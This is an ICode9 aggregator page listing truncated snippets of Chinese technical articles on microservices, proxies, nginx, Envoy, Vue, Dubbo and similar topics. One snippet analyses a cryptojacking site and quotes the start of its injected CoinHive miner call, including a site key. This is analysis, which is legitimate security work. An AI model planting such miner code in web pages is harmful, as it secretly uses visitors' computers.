ICode9

精准搜索请尝试: 精确搜索
  • 庐山真面目之十五微服务架构的动态分离的设计实现2022-09-13 13:02:48

    一、开场白      我是一名程序员,是基于 NET 框架的跨平台开发的程序员。现在的业务系统,不论大小都开始实现了微服务,不管合不合适,最起码说起来挺牛气的。我做一位程序员,当然也不能落后了。微服务是为了满足高并发、高可用和高扩展特性进化出来的一个架构模式。一个微服务架构

  • 在 SSH 中使用 Socks 代理连接远程服务器2022-09-10 23:02:24

    假设我们的代理服务器是 127.0.0.1:7890 ,用户名为 test,密码为 123456,我们要连接的远程服务器为 192.168.0.233:2022,用户名为 test2 首先需要安装 ncat 工具,在 macOS 中安装:brew install nmap 第一种方法: 直接连接 ssh -p 2022 -o ProxyCommand='ncat --proxy-type socks5 --proxy

  • JavaScript 设计模式及代码实现——代理模式2022-09-01 19:34:56

    代理模式 1 定义 为其他对象提供一种代理以控制对这个对象的访问 在某些情况下,一个对象不适合或者不能直接引用另一个对象,而代理对象可以在客户端和目标对象之间起到中介的作用。 2 应用举例 2.1 缓存代理 现在我们有一个可以查询城市经纬度的函数: const getLatLng = (address)

  • virtualservice超时重试2022-08-22 17:03:11

    [root@k8s-master 09-http-retry]# kubectl apply -f ./ [root@k8s-master 09-http-retry]# cat virtualservice-demoapp.yaml apiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: demoapp spec: hosts: - demoapp http: - name: cana

  • Linux虚拟机Nginx代理vue前端与SpringBoot后端资源2022-08-21 21:36:31

    1.Nginx 安装配置   详细参见菜鸟教程:https://www.runoob.com/linux/nginx-install-setup.html 2.nginx.conf内容 user nginx; worker_processes 1; #设置值和CPU核心数一致 error_log /usr/local/webserver/nginx/logs/nginx_error.log crit; #日志位置和日志级别 pid /usr/lo

  • 散记2022-08-17 09:05:12

    service 提供相同服务的一组pod可以抽象成一个service, 固定IP - 对外提供服务的统一入口,每个service都有一个虚拟IP地址(VIP, clusterIP)和端口号供客户端访问。由于Pod重建等原因导致的pod ip地址变化, service始终保持对外ip端口不变 负载分发策略有两种: RoundRobin(轮询), Ses

  • Envoy tcp_proxy配置2022-08-12 18:33:30

    环境说明 envoy:Front Proxy, 地址为 172.31.1.2 webserver01:后端服务,地址为 172.31.1.11 webserver01:后端服务,地址为 172.31.1.12 envoy配置文件 static_resources: listeners: name: listener_0 address: socket_address: { address: 0.0.0.0, port_value: 80 }

  • Vue3 解构赋值失去响应式引发的思考2022-08-01 16:00:28

    前言 vue3发布以来经历两年风头正盛,现在大有和react 平分秋色的势头,我们知道他是基于proxy 实现响应式的能力, 解决了vue2所遗留下来的一些问题,同时也正由于proxy的特性,也提高了运行时的性能 凡事有利有弊, proxy虽然无敌,但是他也有本身的局限,从而产生一些我认为的弊端(其实就是不

  • element-ui 之 select 获取key和label2022-07-26 15:35:31

    element-ui 之 select 获取key和label element 获取下拉框的key和label,  ---------个人理解: 这东西做的官方做的思考不全 01)使用循环 02) 使用 proxy.$refs 获取 <template> <div> <h3>下拉框 获取key和label</h3> <p> const {proxy} = getCurrentInstance(); </p>

  • nginx配置解析2022-07-24 22:03:18

    参数优化 nginx配置文件主要分三个部分: 全局块,events块,http块 全局块: 从配置开头到events块间的部分.定义影响整个nginx运行的配置.nginx进程数(CPU总核数) events块: 定义服务器和用户网络连接. http块: nginx服务器的核心配置.用于定义实际的请求控制.它又可以分为http全局

  • 030_实战:读写分离2022-07-18 00:34:30

    目录内容大纲具体实现步骤新建一个springboot工程引入相关依赖:sharding依赖、ssm依赖、数据库驱动定义配置application.yml注意问题定义entity,mapper,controllerentitymappercontroller访问测试查看效果日志查看Props的其他相关配置小结回顾流程SQL 解析执行器优化SQL 路由SQL 改写

  • Could not generate DH keypair解决方案:通过nginx转发2022-07-17 20:10:35

    项目是老项目,仍然用的jdk1.6,在和外部系统对接时发送https请求报错Could not generate DH keypair,百度了下原因,大概就是jdk1.6的加密算法不支持。 网上的解决方法粗略看了有两种:1.升级jdk 2.替换jar包并修改java.security文件。 第一种方法尝试了是可行的,第二种方法没有尝试,不做评

  • Data-Stash数据仓库高可用说明2022-07-17 12:33:51

    高可用的目的 节点经过数据裁剪将冷数据节点中删除,当节点需要这部分冷数据时可通过amdb-proxy或者数据仓库工具查询。为了保证节点随时都能够查询到需要的冷数据,需要部署多个amdb-proxy或者数据仓库工具,达到高可用。 两种工具区别 amdb-proxy:支持通过链上信使协议接收节点查询冷数

  • Nginx一网打尽:动静分离、压缩、缓存、黑白名单、跨域、高可用、性能优化...想要的这都有!2022-07-17 00:02:41

    引言    在上文《HTTP/HTTPS》中曾谈到了代理服务器的概念,其主要作用之一就是用于负载均衡与请求分发,那么先来看看为何需要做请求负载。    早期的业务都是基于单体节点部署,由于前期访问流量不大,因此单体结构也可满足需求,但随着业务增长,流量也越来越大,那么最终单台服务器受到

  • 简单记录一次远古版本dubbo发生的PermGen space异常2022-07-16 21:05:30

      环境介绍: dubbo的版本是比较旧的版本,  肯定是小于2.5的, jdk版本是1.7, 默认使用的是HotSpot虚拟机   前提说明: dubbo版本应该就是最原始的2.x的版本, 由于在这个基础上公司还经过了自己的自定义封装, 所以升级的话肯定是没戏的, 其次, 也是由于某些模块很少使用到, 所

  • coin-hive.com 网页挖矿分析2022-07-16 21:04:55

    现象:http://youssef-rabbaoui.de/   any run里的分析:https://app.any.run/tasks/223aa545-5ba5-48dc-8a24-c46fd4a59f9d/  的确是看到dns请求了coin-hive.com 这个站点有网页挖矿,代码: var miner = new CoinHive.Anonymous('Bnt5BfEGPkhcJXWDSxQZNkZo346S1UCs', '$seite', {

  • VSCode git bash设置代理之后仍然无法访问2022-07-16 11:36:11

    发现 git config --global --unset-all http.proxy git config --global --unset-all https.proxy git config --global http.proxy "http://127.0.0.1:XXXXX" git config --global https.proxy "https://127.0.0.1:XXXXX" 没有起作用 原来在VSCode的终端当中git 好像采

  • 前后端分离,跨域问题的解决方法2022-07-14 23:35:14

    我的一些配置: 后端项目地址:http://localhost:8088/mySystem/ 前端项目地址:http://localhost:8080/ 方法一: 从后端解决,controller中使用@CrossOrigin,这个方法的粒度比较细,但在controller比较多的时候,用起来比较烦 方法二: 从前端解决,在Vue cli的配置里面,有一个devServer.proxy,使

  • 代理模式-Proxy(动态代理)2022-07-14 18:05:16

    代理模式(Proxy) 一.作用 又叫“动态代理” 为其他对象提供一种代理以控制对这个对象的访问 二.结构图     三.场景1 远程代理: 也就是为一个对象在不同的地址空间提供局部代表。这样可以隐藏一个对象存在于不同地址空间的事实 例如: 在应用程序的项目中加入一个web应用,引用一个Web

  • nginx localtion 的alias是一个目录别名的定义,root则是最上层目录的定义2022-07-14 14:32:47

    server { listen 443 ssl; server_name testmall.xxxx.com; ssl_certificate server.crt; ssl_certificate_key server.key; ssl_protocols TLSv1.2; ssl_ciphers 'AES128+EECDH:AES128+EDH'; ssl_prefer_ser

  • 邻家小铺部署-linjiashop2022-07-14 08:31:10

    Web-falsh代码生成工具使用手册 目录说明 linjiashop-admin PC端后台管理的前端网页 linjiashop-admin-api PC端后台管理的api服务 linjiashop-mobile 手机商城的前端网页 linjiashop-mobile-api 移动端商城的api服务(h5,小程序,app都用改api服务作为后台接口) linjiasho-wxapp 微信

  • kong.conf2022-07-12 17:01:28

    proxy_access_log = /usr/local/kong/logs/access.logproxy_error_log = /usr/local/kong/logs/error.logadmin_access_log = /usr/local/kong/logs/admin_access.logadmin_error_log = /usr/local/kong/logs/admin_error.logstatus_error_log = /usr/local/kong/logs/status_

  • 配置文件——zabbix proxy2022-07-11 16:08:36

    ProxyMode=0Server=127.0.0.1ServerPort=10051Hostname=zabbixserverListenPort=10051SourceIP=192.168.20.60LogType=fileLogFile=/tmp/zabbix_proxy.logLogFileSize=100LogRemoteCommands=0PidFile=/tmp/zabbix_proxy.pidSocketDir=/tmpDBHost=localhostDBName=zabbix_proxy

  • Vue项目部署,NGINX配置2022-07-10 23:34:13

    1.  vue项目打包 1.1 在终端输入打包命令,进行打包   npm run build 打包后会生成文件夹dist 1.2 把打包好的文件移动到/opt/下面 sudo mv dist/ /opt/   2. 开始配置NGINX 2.1 进入到配置目录下  cd /etc/nginx//sites-enabled/ 2.2 使用vim打开default文件进行配

  • SIP穿越NAT SIP穿越防火墙-SBC2022-07-10 01:01:07

    SIP穿越NAT SIP穿越防火墙-SBC https://www.cnblogs.com/jhcelue/p/7258803.html   FireWall&NATFireWall是一种被动网络安全防卫技术,位于网络的边界。在两个网络之间运行訪问控制策略。防止外部网络对内部信息资源的非法訪问,也能够阻止特定信息从内部网络被非法输出。一般来说,防

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有